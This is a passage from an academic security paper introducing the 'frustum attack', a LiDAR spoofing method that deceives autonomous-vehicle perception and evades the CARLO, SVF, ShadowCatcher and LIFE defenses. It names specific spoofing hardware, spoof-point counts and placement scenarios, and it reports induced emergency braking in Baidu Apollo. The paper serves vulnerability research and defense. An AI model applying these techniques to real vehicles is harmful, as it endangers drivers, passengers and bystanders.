inject signal along the same physical channels as normal Li-
DAR. The attacker uses a LiDAR spoofing attack similar
to [10, 11, 14–16], which established how to control the 3D
positioning of LiDAR points using a relay and delay system.
Further, we follow the threat model from [11] which demon-
strated injecting up to 200 spoof points. While [10,11] assume
high-precision spoofing where LiDAR points are placed in
well-crafted patterns (e.g., outline of a car), we also relax this
assumption in some cases by allowing the attacker to place
points by randomly sampling a distribution; the parameters
of this distribution are summarized in Table 2. This simplifies
the attack design compared to the model from [10, 11] and
may be more representative of a noisy attack laser.

3.2.3 Attack Strategy
In this work, we consider the following attack strategies.

Naive attacks. In general, naive attacks compromise a sin-
gle sensor without regard for consistency between multiple
sensors or the environment. Naive LiDAR spoofing attacks
against AVs were first proposed in [10] and followed up
with [11]. Naive spoofing attacks are examined in Section 4.
Frustum attacks. We introduce the novel frustum attack
which retains consistency across multiple sensors even only
attacking a single sensor. It is motivated by the fact that 2D
detections of a target vehicle from the victim camera’s front-
view cannot resolve range, and thus the 3D uncertainty of
a 2D (camera) detection defines a frustum from the camera
image plane in the direction of the target vehicle (see Fig. 2).
Attacking within the frustum of a target vehicle retains consis-
tency with semantic and feature information between camera
and LiDAR data. Frustum attacks are examined in Section 5.

3.2.4 Attacker Knowledge
System. In all cases, the attacker requires no knowledge of
the underpinnings of perception, including the machine learn-
ing model and perception architecture. Further, to instantiate
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Figure 2: The frustum attack leverages that the camera is
only a 2D projection of 3D space. Any feature or detection
in a single 2D image could be resolved to any distance along
the range axis. Thus, spoofing within the frustum retains
consistency between camera and LiDAR data association.
The frustum is defined by an object’s 2D bounding box when
extended into 3D (diagram shown is unattacked).

the attacks, the attacker need not have access to existing sensor
data, other than what is required in the relay system [14, 15].
Environmental. For the frustum attacks, we assume the
attacker knows the approximate position of the target object
so as to obtain a frustum region for spoof point placement. In
addition to FP outcomes, this also enables FN or translation
attack outcomes targeting a particular (valid) object.

4 Naive LiDAR Spoofing
We first consider general black-box (i.e., naive) attacks on

LiDAR-only perception. To fully evaluate the state of the art,
we reproduce the LiDAR spoofing attack from [11] using pat-
terns of occluded vehicles extracted from KITTI and sweep
number of attack points in steps of 10, from 10 to 200. This
is a naive method as it does not attempt to maintain consis-
tency among sensors and is black-box as it does not require
knowledge of the employed perception model or sensor data.

4.1 Spoofing Against LiDAR-Only Perception
We test a perception algorithm from each of the three cat-

egories of LiDAR-only perception architectures, consistent
with [11] and outlined in Table 1. Specifically, we use voxel-
based PointPillars [27], point-based PointRCNN [28], and
BEV-based PIXOR [33] for 3D object detection. We repro-
duce the attack success rate (ASR) from [11]. Details on the
reproduced results are in Appendix A.1, showing high ASR
of the naive spoof attacks at front-near positions.

4.1.1 State-of-the-Art Defenses
We reproduced CARLO, SVF, and ShadowCatcher, as no

source code was available; reproduced results are presented
in Appendix A.2. Our results for CARLO and SVF against
naive attacks are consistent with [11] – i.e., the ASR is greatly
reduced in front-near positions against naive attacks. How-
ever, with realistic assumptions, we obtained lower defense
performance for ShadowCatcher than reported in [20]. The
reasons, outlined in Appendix A.2, include that the original

Figure 3: Naive spoofing attacks against LiDAR-only with
CARLO defense outside front-near: CARLO is not suitable at
guarding perception against naive spoofing for false positives
outside of front-near; the ASR of CARLO-guarded models is
nearly as high as without CARLO (see Fig. 16)

work tuned parameters on the test set as well as used the
ground-truth information instead of the output of a perception
algorithm; ground-truth information is not available for a real
system and significantly reduces noise.

Very recently, [18] introduced LIFE defense that designed
point-based and frame-based camera-LiDAR consistency
checks as a preprocessing step to guard against both camera
and LiDAR attacks. As reported in [18], LIFE is well-suited
to detect naive spoofing attacks, as naive spoofing does not
retain consistency between the camera and LiDAR data.

4.1.2 Some Existing Defenses Have Vulnerabilities
Under further scrutiny of existing defenses, we find several

naive attack configurations not tested in [11] that suggest the
CARLO defense introduces additional vulnerabilities.
CARLO Vulnerability to False Positives. While CARLO
demonstrates high success guarding against naive spoofing
in front-near [11], naive spoofing is stealthy to CARLO when
placed outside of front near. Intuitively, as the range to
spoofed objects increases, the angle subtended by the frustum
towards the detection decreases. This leads to a decrease in
the number of LiDAR points contained in the frustum as the
emitted LiDAR points spread in a spherical pattern (constant
angular density). Thus, an increase in range leads to spoofed
instances that appear more similar to normal instances under
the CARLO hypothesis. We show this by spoofing points at a
range of 30 m from the victim; our results in Fig. 3 show that
CARLO is incapable of guarding against these naive spoofing
attacks, as the ASR is on-par with the defense-less system
(compare Figs. 3 and 17). Analysis for additional spoofed
point distances is provided in Appendix B.

Spoofing attacks applied at greater ranges can have severe
adverse outcomes when exercised longitudinally (i.e., over
multiple time steps). For example, since LiDAR-only percep-
tion cannot be guarded by CARLO outside of front-near, as
shown in Fig. 4 an adversary can create false positives over
multiple time steps to give the appearance of a vehicle moving
directly toward the victim with high velocity. This may trigger
braking and collision avoidance maneuvers even before the
false vehicle reaches close range. Detailed investigation of
longitudinal attacks is provided in Section 6.
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(a) Stealthy FP at 40 m (b) Stealthy FP at 30 m (c) Stealthy FP at 20 m (d) FP invalidated at 10 m

Figure 4: Even with the CARLO defense, a spoofing scenario starting at long-range can evade the defense for many frames until
it reaches front-near position. During this time, the AV will build a (adversarial) track on the spoofed object, which can cause
adverse control outcomes (e.g., collision avoidance maneuver).

Figure 5: Naive spoofing attacks against camera-LiDAR fu-
sion: Many fusion algorithms (including FPN, FCN, AVOD)
have high inherent resiliency to naive spoofing attacks (< 5%
ASR) without specialized defenses. EPNET’s vulnerability is
due to its high baseline false positive rate - nearly 40% of all
EPNET’s detections are FPs, even without attack.

CARLO Vulnerability to False Negatives. We also find
that CARLO, even at front-near, is vulnerable to FN invali-
dation attacks. Since CARLO relies on physics violations –
i.e., many points appearing to “pass through" a detected ob-
ject, which should not occur for normal objects – the attacker
can instead use the spoofer to create these physics violations
on normal instances to obtain FNs (i.e., invalidation of true
objects). Specifically, an adversary can spoof points behind
valid objects (in no particular spoofing pattern, unlike the
attacks required by [10, 11]) which will trigger CARLO into
believing the detected object is invalid. Thus, a true object will
be rendered as a false negative, potentially causing a head-on
collision of the victim vehicle.

The FN outcomes against CARLO depend on the range to
the target to invalidate. This follows from the decrease in the
frustum angle with range and the constant angular density of
LiDAR points. Using a 200-point maximum capability and
requiring only random injections, attacks achieve upwards of
40% success at invalidating objects 50 m away (Appendix B).

4.2 Sensor Fusion
No prior work has systematically evaluated whether sensor

fusion is more resilient to spoofing. Thus, we evaluate the
naive spoofing attacks against multiple camera-LiDAR fu-
sion algorithms across multiple architectures summarized in
Table 1. We find the majority of tested sensor fusion are inher-
ently resilient to the naive spoofing attacks (Fig. 5). Overall,
this level of intrinsic defense renders naive spoofing attacks
ineffective even without the addition of specialized defenses.

Specifically, widely used camera-LiDAR fusion algorithms
FPN [29], FCN [30], and AVOD [31] have high resiliency with
ASR generally lower than 5%. We find EPNET [32] is still
vulnerable; we believe this is due to EPNET’s high baseline
FP rate. On the (unattacked) KITTI validation set, EPNET
has 220% the number of FPs compared to AVOD; nearly 40%
of all EPNET’s detections on (unattacked) KITTI are FPs.
Summary: Impact of Black-box Attacks. LiDAR-only
perception alone is vulnerable to naive black-box spoofing
attacks in front-near positions, as previously reported [10,11].
However, there are several promising specialized defenses, al-
though CARLO is insufficient in preventing black box spoof-
ing attacks outside front-near positions and is vulnerable to
invalidation attacks. Finally, we showed that sensor fusion is
intrinsically more robust to naive attacks. Yet, in what follows,
we demonstrate that the perception models and defenses per-
form poorly under a new class of attacks: the frustum attacks.

5 Frustum Attack on LiDAR
In this section, after establishing the feasibility of the frus-

tum attack, we evaluate the impact of frustum spoofing on
modern perception methods. We show both LiDAR-only and
camera-LiDAR fusion perception are widely vulnerable to the
context-aware frustum attacks: all 8 tested algorithms falling
across 6 different architectures from Table 1 are vulnera-
ble and none of the state-of-the-art defenses against LiDAR
spoofing are capable of defending against the frustum attack.

5.1 Frustum Attack Motivation & Definition
While naive spoofing is damaging against LiDAR-only

perception, it does not maintain consistency with physical
invariants or between camera and LiDAR data; as shown in
Section 4, this inconsistency can be leveraged to filter out
the naive spoofing attacks. Consequently, the frustum attack
is conceived as a black-box method of retaining consistency
between the camera and LiDAR data and consistency with
physical invariants using easily obtained contextualizing in-
formation from the environment. Specifically, an adversary
can leverage that the camera is only a 2D projection of the 3D
space; any detection or feature in the camera can be resolved
to any point along the line extending from the camera out
to infinite range (in practice, ∼ 100 m for AV applications)
because a single camera cannot resolve range information.
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The frustum attack thus places spoof points to leverage the
projective nature of the camera. Points are placed behind or
in front of existing objects so that they have front-view con-
sistency. This can be realized by spoofing within a pyramid
(i.e., the frustum) where the tip of the pyramid is at the victim
sensor and the base is the projection of the 2D, front-view
bounding box of a true object out along the range axis.

Thus, due to the projection and by spoofing in-view of ex-
isting (target) objects, perception algorithms may associate
(unattacked) features/detections in the camera and the spoofed
LiDAR points even if the spoof LiDAR points are at a differ-
ent range than the target object. By spoofing in the frustum of
valid objects, frustum attack FPs maintain many natural quali-
ties of normal objects (see Fig. 8), helping them to be stealthy
against existing defenses relying on physical invariants or
camera-LiDAR consistency checks.

We denote this ‘in-view’ spoofing as the frustum attack
since a 2D bounding box around an object in the camera’s
image defines a frustum when the uncertainty of the 2D box is
extended into 3D along the range axis, as illustrated in Fig. 2;
also, in the bird’s eye view (BEV) in Fig. 8. Importantly, the
adversary needs to only approximately know the frustum.

5.2 Attack Feasibility and Practicality
Feasibility of naive spoofing attacks has been shown

in [10,11]. Here, we provide experimental justification for the
frustum attack. We first describe five situations that naturally
arise in nearly all day-to-day driving conditions that enable
frustum-based spoofing. We then demonstrate one scenario
of the frustum attack experimentally. Three of the situations
are attainable with current engineering/LiDAR technology.
Work is underway to advance optics and tracking which may
enable additional spoofing scenarios (e.g., see [16]).
5.2.1 Frustum-Attack Spoofing Scenarios

We describe five common scenarios where the frustum
attack can be exercised; the scenarios are illustrated in Fig. 22
in Appendix C. In all cases, the spoofer has full control over
the range of placement of the spoof points along the frustum
by increasing or decreasing the delay timing.
S1: Spoofer on target. A spoofer is placed on a target car
and aimed at victim (the target AV owner/passengers may or
may not be aware of this). The target car does not have to be
endangered for this to have impact because the attacker creates
FPs that cause the victim to perform evasive maneuvers. The
target car is by definition in line with its own frustum. Any
spoofed points along the line-of-sight (LOS) between the
target and the victim will remain in the frustum.
S2: Spoofer on other vehicle in line. Spoofer is placed
on a non-target car on the line defined by the victim AV and
target vehicle. This scenario arises often in natural driving, as
a lane, which is usually locally straight, helps cars stay in line
with each other, and thus in each others frustums.
S3: Spoofer on other vehicle not in line. A fully general
spoofing attack could take place out-of-line. However, exe-
cuting this attack outside the frustum is not currently feasible

and requires more precise aiming of the laser than has been
demonstrated. Engineering advances will enable this scenario,
and work is already underway in this area [16].
S4: Spoofer on environment in line. A spoofer is placed in
the environment in line with a lane. Examples include placing
the spoofer on a bridge transverse to the road or on low-lying
traffic signs, tree limbs, etc.
S5: Spoofer on environment not in line. This resembles S3
with similar feasibility constraints but with a spoofer placed
on a static object in the environment (e.g., road-side sign).

5.2.2 Feasibility Demonstration
We adopt the physical hardware from [10, 11] and use a

VLP-16 PUCK for the LiDAR sensor and for the spoofing
system, an OSRAM SFH 213 FA photodiode, an OSRAM
SPL PL90 attack laser, and an additional lens for beam focus-
ing. The VLP-16 is a rotating LiDAR scanner providing full
360◦ azimuth coverage and is compatible with many mod-
ern industry AVs and perception, including LGSVL [21] and
Baidu Apollo [6], which have LiDAR plugins for the VLP-16.

To test frustum attack feasibility, the spoofing device is
placed behind the target vehicle (Fig. 6). The spoofer has just
enough visibility above the target car for the attack laser to
have LOS to the LiDAR sensor. This is easily realized in ev-
eryday driving so long as the attacking vehicle is slightly
larger than the victim or the spoofing device is elevated
(e.g., placed on the roof of AVs, like existing LiDAR).

We find the spoofer can command the delay timing to inject
spoof clusters at varying distances relative to the target car.
In Fig. 7, spoof point clusters are moved successively farther
from the target car (or closer, if run in reverse) in a dynamic
environment with longitudinal consistency. We also repeat the
experiment with a moving target car but stationary victim and
spoofer; for conciseness, those scenarios (including videos)
are only available online, along with the project code, at [37].
Discussion. The above experiments cover two situations:
(1) victim, target, and spoofer are in-line and (relatively) static
which encompasses S1 and S2 for vehicles traveling in unison
(e.g., vehicle platooning), and (2) target moving relative to
spoofer which encompasses the same prior situations (this
time with relative motion) as well as S4 due to the relative
velocity between the vehicles. The outcomes of these spoof-
ing experiments validate that common, everyday spoofing
scenarios are feasible even with existing spoofing hardware,
although executing the frustum attack with motion of the
spoofer and target has not been fully demonstrated.

In fact, a frustum attack only requires LOS between the
spoofing device and the victim AV with at least one object
in the scene. The victim and target vehicles always define a
frustum, so it is up to the attacker to position the spoof points
within the frustum; this is trivially satisfied when the spoofer
is in the same lane as the vehicles (e.g., on another car) or may
simply require a lane change or velocity adjustment. With
improvements in laser aiming, the number of natural frustum
attack scenarios will only increase [16].

USENIX Association 31st USENIX Security Symposium    1909



Figure 6: A spoofer launches a malicious frustum attack
against a victim AV using a target car. Spoof points are placed
at any distance within the frustum behind the target car to ob-
tain false positive, false negative, and/or translation outcomes.

Figure 7: A physical experiment demonstrates that an attacker
can stably spoof longitudinally consistent points in the frus-
tum of a target vehicle and has control over the placement
distance. We run a continuous scenario where spoof points
are moved successively towards and away from the target, and
show three select frames here. Running FPN as perception
would cause a translation outcome where the target car would
be detected at the spoof point location. Full video online [37].

Finally, if started near the target vehicle, moving spoof point
clusters, as in videos online [37], can create longitudinally-
consistent frustum attacks that drift the track further away
(or closer to the victim, if run in reverse), as described in
Section 6.1. Case studies of the related tracking and end-to-
end control outcomes are presented in Sections 6.1 and 6.2.

5.3 Frustum Attack Performance Analysis
5.3.1 Experimental Methods

We run a large-scale experiment on over 75 million sce-
narios to assess the vulnerability of perception to the frustum
attack for FP, FN, and translation outcomes.

For each of the first 7 perception algorithms in Table 1,
we select each valid vehicle in each frame of the KITTI val-

idation set. Each vehicle becomes the "target vehicle". For
our analysis, we discard any valid vehicles not detected by
the unattacked perception algorithm, as this would artificially
inflate the FN attack success metric. For each valid vehicle,
we simulate frustum attack spoofing using different combina-
tions of the number of spoof points ni and the relative distance
of placement di, i.e., (ni,di), within ni ∈ [2,200] points and
di ∈ [r0−10,r0+30] m; here, r0 is the original range to the tar-
get. The experiment captures existence of spoofing-induced:
(a) FP at the spoof location, and (b) FN of the target object.

This experiment yielded on average 11 million attack traces
for each perception algorithm with a total of over 75 million
attack traces for the frustum attack. We also assess the four
aforementioned (three experimentally, one in discussion) de-
fenses for each perception algorithm. Due to the combinato-
rial nature of such evaluation (algorithm × points × distance
× defense), we sample a set of attack traces over a coarse grid
of parameters for each tested perception algorithm.
Example outcome. An example successful frustum attack
against FPN fusion is in Fig. 8, where 20 spoofed points are
placed in a random pattern with a mean location 7 m be-
hind and within the frustum of a target valid object. We find
that, as long as spoof points are within the frustum, it is less
important how precise those points are placed. In fact, we find
in general that spoofing using a normal distribution of points
with moments specified in Table 2 can achieve performance
on-par with extracting occluded traces from KITTI as done
in [11] (see Appendix D for detailed comparison).

In this case, the target object is composed of 238 points, an
order of magnitude more than the spoofed points, and is at
25 m range from the victim. As shown in Fig. 8, even only
attacking LiDAR, the frustum attack is successful in obtaining
an FP at the spoof point cluster.

5.3.2 Results I: Frustum Attacks Compromise All Per-
ception Algorithms

We now show that the frustum attack is capable of not only
compromising LiDAR-only perception but also compromis-
ing camera-LiDAR fusion. Also, the frustum attack succeeds
across multiple architectures of both LiDAR-only and camera-
LiDAR perception. Here, we describe the main observed re-
sults. Additional results are presented in Appendix E.

Attackability: Attack Existence
A frustum is "attackable" if there is at least one combina-

tion (ni,di) within the established attacker capability that is
successful in generating an FP near the spoof points (or FN
of the targeted object, depending on attacker’s goal). Given a
fixed set of input sensor data, the vulnerability of a perception
algorithm depends on how many target objects are attackable.

Fig. 9 illustrates the vulnerability of each perception al-
gorithm by presenting the fraction of target objects that are
attackable. Presented are both FP (Fig. 9a) and FN (Fig. 9b)
outcomes to comprehensively illustrate the vulnerability. Con-
sidering FP outcomes, at middle ranges to target objects (i.e.,
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(a) Clean RGB detection (b) Frustum with attack

(c) BEV shows FPN detects inserted points, not original points.

Figure 8: (a) 2D detection yields (b) a 3D frustum of points. In-
jecting just 20 points in random pattern (bracketed red) de-
ceives 3D object detection, even against a valid object (brack-
eted yellow) of 238 points; (c) BEV projection of the 3D
detection show success of the frustum attack with translation
outcomes, as the FP detection (red box) is far from the FN
ground truth (white box).

15− 40 m) nearly 100% of instances using any of the per-
ception algorithms are attackable, showing the widespread
vulnerability to frustum attacks. In fact, except for FCN which
has a dip in attackability from 40−60 m, this near-100% at-
tackability extends for all other perception algorithms from
15−60 m, which is a devastating outcome for AV perception.

Similarly, we show a surprisingly high degree of FN vul-
nerability (Fig. 9b) even after discarding targeted vehicles not
detected without attack. At a 35 m range, with a suitable selec-
tion of spoof distance, half of all vehicles can be negated with
a frustum spoofing attack for all algorithms except EPNET.

Due to space constraints, in the rest of the work, we focus
on analysis of FP outcomes which we find are more success-
ful, repeatable, and adaptable to different spoofing distances
compared to FN outcomes.

Attack Success Across Number of Spoofed Points
Attack success depends on the number of spoofed points,

up to a certain point of convergence. Here, we look at two key
indicators of spoofing success: 1) the rate of attack success
across the range to target objects for discrete numbers of
spoof points, and 2) the minimum attacker requirements for
successful attacks in general.
Attack success by number of points. Fig. 10 presents how
attack success depends on the discrete numbers of spoofed
points. Surprisingly, even spoofing just 2 points may be
enough to obtain FP outcomes at the site of spoofed point
placement given an optimal selection of spoof point distance.
The attack success quickly converges to a rate similar to the
one in Fig. 9 at just 60 spoof points.
Minimum attack requirement. In general, more spoof
points yields higher ASR. However, since an attacker only
needs a few successful attacks to cause devastating outcomes

(a) For FP: All algorithms are highly attackable for FP outcomes,
particularly when the target objects are at 15−60 m range – here,
the attackability is near 100% across the board (except FCN’s dip).

(b) For FN: Perception demonstrates a surprising vulnerability to
FN outcomes under LiDAR spoofing. The targeted object can be
negated (i.e., not detected) for all perception algorithms, even under
a small, spoofing frustum attack model.

Figure 9: Percentage of instances in the KITTI dataset (over
number of points and distance of placement) where there
exists a successful (a) FP, and (b) FN frustum attack; all
perception algorithms show widespread vulnerability to both
(a) FP and (b) FN outcomes under the frustum attack.

and may not have the ability to spoof large numbers (e.g., hun-
dreds) of spoof points, it is important to understand the aver-
age smallest number of points needed for a successful attack.
To compute this estimate of the 0th order statistic of spoof-
ing, for each perception algorithm, if the target vehicle were
attackable, we logged the range to that target object, r0, and
stored the smallest number of points, ni,min, where an attack
succeeded, marginalizing over distance, di. We then computed
the mean of this collection of minima against range to the
target object (see Fig. 11) and find that only tens of points are
needed on average. Note that these results can be interpreted
as a measure of robustness of the perception algorithm to
small numbers of spoof points; e.g., FPN is significantly more
robust at intermediate ranges, FCN, PIXOR, and AVOD are
more robust than PointPillars, PointRCNN, and EPNET.

Attack Success Across Range to Target Vehicle
The location of the target car is an important element in the

success of a frustum attack. For different ranges to target ve-
hicles, Fig. 12 breaks down the success against AVOD as a
function of both the placement of the spoof points relative to
the target vehicle and the number of spoof points and does not
marginalize over parameters. This highlights that spoofing
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Figure 10: Percentage of instances in the KITTI dataset (over
the placement distance) where there exists a successful FP at-
tack for different numbers of spoof point: the frustum attacks
are successful across a wide range of spoof point numbers.

Figure 11: For each perception algorithm, the mean of the
smallest number of spoof points for a successful FP attack,
marginalized over the relative spoof placement, is low. Gen-
erally, the mean smallest set is less than 20 for nearly all
algorithms for all ranges to target vehicles.

attacks are generally more successful as the range to target ve-
hicles increases. A similar pattern is observed across all tested
perception algorithms, as shown in Fig. 25 in Appendix E.

5.3.3 Results II: Frustum Attacks Compromise Defenses
We show that in addition to being effective against both

LiDAR-only and camera-LiDAR fusion, the frustum attack is
stealthy to the aforementioned defenses.

We collected a sample of attack traces using each pairwise
combination of spoof points in ni ∈ {10,60,100,200} and
attack distance di ∈ r0 + {5,9,12,16} m and run each com-

Table 3: Nearly all frustum attacks against both fusion (left)
and LiDAR-only (right) are stealthy to CARLO defense

Algorithm % Stealthy

FCN 100%
FPN 99.76%

AVOD 100%
EPNET 99.9%

Algorithm % Stealthy

PointPillars 100%
PointRCNN 99.9%

PIXOR 92.3%

Table 4: Frustum attack is stealthy to SVF defense
Algorithm % Stealthy

SVF-PointPillars 90.3%

Table 5: ShadowCatcher fails to detect a significant number
of frustum attacks and has too high induced FN rate.

Algorithm % Stealthy % Induced FN Rate

FCN 80.7% 70.3%
FPN 57.8% 96.9%

AVOD 84.9% 72.9%
EPNET 90.5% 64.4%

Algorithm % Stealthy % Induced FN Rate

PointPillars 91.0% 68.0%
PointRCNN 89.3% 67.1%

PIXOR 81.5% 42.9%

bination for 200 frames of data for each algorithm, totaling
nearly 25,000 attack traces per each defense. We observed that
stealthiness to the defenses as a function of the parameters is
nearly constant; thus, aggregated results across parameters are
summarized in Tables 3, 4, 5. We report the fraction of frus-
tum attacks that are still successful after applying the defense
as the "% Stealthy", and, where relevant, the fraction of erro-
neously invalidated valid objects as the "Induced FN Rate".
CARLO: The frustum attack against all perception algo-
rithms is nearly completely stealthy to the CARLO defense
since attacks are placed in the frustum and few LiDAR points
travel through the spoofed object; see results in Table 3.
SVF: The frustum attack is stealthy to the SVF defense
since frustum spoofs are consistent with information from the
front-view projection; see results in Table 4.
Shadow-Catcher: ShadowCatcher does not perform well
at detecting the frustum attack or identifying normal objects
as valid, as confirmed by results in Table 5. Our results show
an unacceptably high induced FN rate (i.e., it invalidates true
objects at too high of a rate).
LIFE: LIFE is designed to identify faults, miscalibrations,
and attacks against AVs equipped with panoptic stereo cam-
eras and a central, wide-angle or scanning LiDAR sensor
using an Object Matching Method (OMM), a correspond-
ing point method (CPM), and a sensor reliability evaluation
(SREM) [18]. However, each of these components are ill-
posed for detecting the frustum attack, as noted even by
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(a) FP ASR on vehicles [15, 20)m (b) FP ASR on vehicles [25, 30)m (c) FP ASR on vehicles [35, 40)m (d) FP ASR on vehicles [50, 55)m

Figure 12: ASR when AVOD is used as a function of the spoof points’ distance (relative to the target vehicle). Attacks are more
successful at increased range of the target ((a) vs. (b), (c), (d)). Horizontal axis represents relative placement of spoof points; each
line represents a different number of spoof points from 0−200. Number of points determines attack success up to a steady state
where additional points provide marginal benefit. High FPs are seen spoofing both in front (-x axis) and behind (+x) the target.

the authors in [18]; specifically, Section 8.4.1 of [18] states
that a common failure mode is when "most injected fake
echoes/points are behind or very near existing aboveground
objects...the induced fake objects cannot be detected." Specif-
ically, OMM fails to detect the frustum attack because it uses
a projection of LiDAR onto the 2D image plane to check
consistency between 2D image and 2D LiDAR – the frustum
attack is designed to retain consistency for this very purpose.
Second, CPM fails to detect the frustum attack because it gen-
erates a small set of 3D features from the camera, then checks
for a corresponding LiDAR point. Thus, CPM cannot detect
the frustum attack as it maintains consistency with the camera
data and is placed in sparse regions where no checking will
occur. Finally, SREM projects LiDAR to the image plane
and compares the 2D camera and 2D (front-view) projected
LiDAR where the frustum attack is designed to be consistent.

5.3.4 Security Implications
The presented results establish that the frustum attack is

successful in compromising both LiDAR-only perception as
well as camera-LiDAR fusion, whereas existing state-of-the-
art defenses against LiDAR spoofing are ineffective against
the frustum attack. Consequently, existing perception algo-
rithms are not secure against LiDAR spoofing when additional
contextual information is available for identifying frustums.

6 Longitudinal Case Studies
Isolated instances of spurious attacks on perception will not

survive against real AVs with multiple sensors capturing data
over time. With map-aided tracking, AVs can flag FPs that
do not comply with semantic map or dynamics information.
Tracking also builds resiliency to isolated FNs by allowing
for coast time in between measurements [38].

The frustum attack, with robustness to number of points
and distance of injections, as well as success against multiple
algorithms and random spoof patterns, is suitable for tem-
porally consistent spoofing to achieve impact at the tracking
level (i.e., over time). The physical spoofing experiments from
Section 5.2 and linked videos [37] show longitudinal frustum
attacks where a spoofer can gradually adjust the position

of spoof points to simulate motion of a spoofed object. We
provide additional visualizations to understand longitudinal
frustum attacks in Appendix F, Fig. 24.

To confirm impact of the frustum attack on real systems
using temporal fusion, we perform two evaluations. First, we
explicitly analyze spoofing’s impact on the multi-frame track-
ing algorithm and present two case studies showing that such
attacks jeopardize AV safety. Second, we apply the frustum
attack to an end-to-end, industry-level AV software stack,
Baidu Apollo [6] using the LGSVL simulator [21] and show
resulting adverse planning and control outcomes.

6.1 Frustum Attack Impact on Tracking
6.1.1 Tracking Algorithm

We implement a Kalman filter tracker with position, ve-
locity, and acceleration states according to [38]. All major
industry players, including Baidu Apollo [6], Autoware [23],
and OpenPilot [39] use variations on the Kalman Filter for
tracking and fusion. We use one tracker per frustum using
FPN as perception, as FPN encodes a one-object-per-frustum
requirement. The track (i.e., trajectory) is predicted forward
using a nearly-constant acceleration model and process noise
according to [40], which is consistent with industry-level
AVs [6]. 3D detections from camera-LiDAR perception are
fed at 5 Hz to the tracking module which tracks box centers
over time. We use an industry-standard χ2 gating between
predicted tracks and timestamped measurements as tracking
integrity; this ensures temporal consistency between mea-
surements and prevents unlikely associations from updating
tracks. We use the 99% threshold of the χ2 gate, specified as
0.99 = Pr(gk > τ), where gk = zT Q−1z; here, τ is the thresh-
old found using the χ2 inverse CDF, z is the innovation be-
tween propagated state and measurement, and Q is the innova-
tion covariance from the Kalman update [38]. In other words,
we neither forced perception to detect our spoofed points nor
did we force tracks to accept the resulting detection. We fixed
attacker capability at 65 points, which is substantially less
than the maximum demonstrated capability.
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Initial detection 
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Figure 13: Attacking over multiple frames at attacker-
specified distances creates adversarial tracks. Sequences of
65 point spoofs create false detections that are accepted by
tracker integrity. Initial spoof detection (red) travels along
(white) track with time-to-impact with the victim vehicle pre-
dicted 1 s later, with high-certainty (cyan) near impact.

6.1.2 Scenario I: Vehicles at Intersection
We first consider an attacker creating an adversarial track

on a crash course for collision with the victim. We select a
scene where the target is at 35 m range. With traffic lanes 4 m
wide and vehicles 5 m long, this scenario represents a large
intersection where the cars are initially static.

Due to perception’s high frame rate, the attacker need only
to succeed in attacking over a short time window for a false
track to be created. The attacker injects 10 sequences of point
clusters behind the target, corresponding to 2 s of real-time,
and alters the distance between successive spoofs so that the
vehicle appears to accelerate towards the victim.

Fig. 13 illustrates the BEV of the false track created from
this spoofing attack. Eight of the attacker’s ten injections were
falsely detected by perception and accepted by the χ2 gate to
update the created (adversarial) track.

For path planning, it is essential that AVs understand both
the current states of nearby vehicles as well as their future tra-
jectories in order to plan a safe path through the environment.
After two seconds of attack, a path planner predicts the exist-
ing track forward, shown in Fig. 13, and the vehicle in front
of the victim is on a collision course with a time-to-impact
of just over 1 s. This can trigger dangerous, aggressive and
unnecessary collision avoidance maneuvers.

6.1.3 Scenario II: Highway Adaptive Cruise Control
Here, we consider highway flow of traffic (e.g., 25 m/s)

where adaptive cruise control uses perception to monitor ob-
jects and to keep up with traffic flow. We consider a likely case
in which the victim AV has already achieved high-precision
track on a true vehicle in front. An existing high-confidence
track is more challenging for an attacker to manipulate (e.g.,
see [41]). In this case, any dramatic deviation in the location of
that object may trigger an alarm or rejection by the χ2 integrity
monitor, particularly since perception operates at high rate.

Over just five spoofs which corresponds to 1 s of real-time,
an attacker can manipulate an existing track by gradually
increasing the distance of spoof points away from the target
(Fig. 14). While initially the track has no relative velocity
(i.e., vehicles traveling in unison), path planning updates track

1-Sigma projected track bounds 
on [0, 2] seconds later

Track over 9 
subsequent injections

Final detection 
of vehicle

Figure 14: Attacking 5 frames using only 60 points can trans-
form a high-confidence track of a valid vehicle into a low-
confidence track with adversarial velocity away from victim.
Predicted path shows target vehicle is moving away when, in
reality, the target and victim vehicles have no relative velocity.

prediction for the vehicle in front after the frustum attack, and
it appears to travel away at an accelerating rate. This will
cause an increase in the adaptive cruise control speed of the
victim vehicle, due to the apparent increased velocity of the
traffic flow, when in reality, the ground truth vehicle is still
traveling with no relative velocity; thus, the victim vehicle
will dangerously approach the car in front.

6.2 Frustum Attack Impact At Driving-
Decision Level: Baidu Apollo Study

We perform another case study using the high-fidelity
physics-based simulator, LGSVL [21], and the Baidu Apollo
AV stack [6]. We use LGSVL with a 32-beam LiDAR model
and a Full-HD 1080p camera model to capture realistic Li-
DAR and camera sensor data for the frustum attack. While
the physics engine of LGSVL is built on Unity and robust, the
LGSVL API is under continuous development. As a result, it
is unclear how to modify low-level sensor data in real-time.
Thus, we took a multi-stage approach to evaluating the end-to-
end consequences of the frustum attack on Apollo’s control.
First, we capture LiDAR and camera data during normal oper-
ation. Second, we execute the frustum attack on the captured
data and run Apollo offline to get detected objects and con-
trol decisions. Finally, we replay the control data through the
LGSVL bridge to observe and visualize the outcomes. We
were able to use this approach as the control commands of the
vehicles were matching in the first and second runs, up to the
point when the victim vehicle initiates emergency braking.

The scene is set consistent with the physical experiment
(Section 5.2) and following Fig. 22b (i.e., S2): a target car is
between the victim and the spoofing adversary. Fig. 15 shows
snapshots of two LiDAR captures with detected objects when
running Apollo perception (left) and the control outcome
observed when replayed through LGSVL (right). Initially,
Apollo detects the target car, as expected. The spoofing adver-
sary is not detected due to strong occlusion, also as expected.
Part-way through the sequence, the adversary launches the
frustum attack, and Apollo detects the spoofed points as a
nearby object which triggers emergency braking, unnecessar-
ily stopping (and thus endangering the victim vehicle). Full
video of the playback sequence is available at [37].
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Remarks. Attacks on perception must propagate into ad-
versarial tracks to impact AVs. We have shown that frustum
attacks can be exercised longitudinally to have high-impact
at the tracking, decision, and control levels. An attacker can
use mere seconds of real-time to create false scenarios of
predicted collision or accelerate the flow of traffic. The frus-
tum attack allows for both starting attacks at longer range
and attacking in front-near. We show that this can be of great
benefit for the attacker because it can create a diverse set of
attacker-specified, high-confidence maneuvers.

7 Discussion and Future Work
7.1 Limitations
Datasets. We use KITTI and LGSVL to evaluate the consid-
ered LiDAR spoofing attacks. Although we generated over 75
million attack scenarios, KITTI is a small dataset and may not
be fully representative of day-to-day AV driving. We use the
LGSVL simulator to study Baidu Apollo, and future work will
leverage high-fidelity simulators and additional open-source
datasets to perform studies on frustum attack generalization.
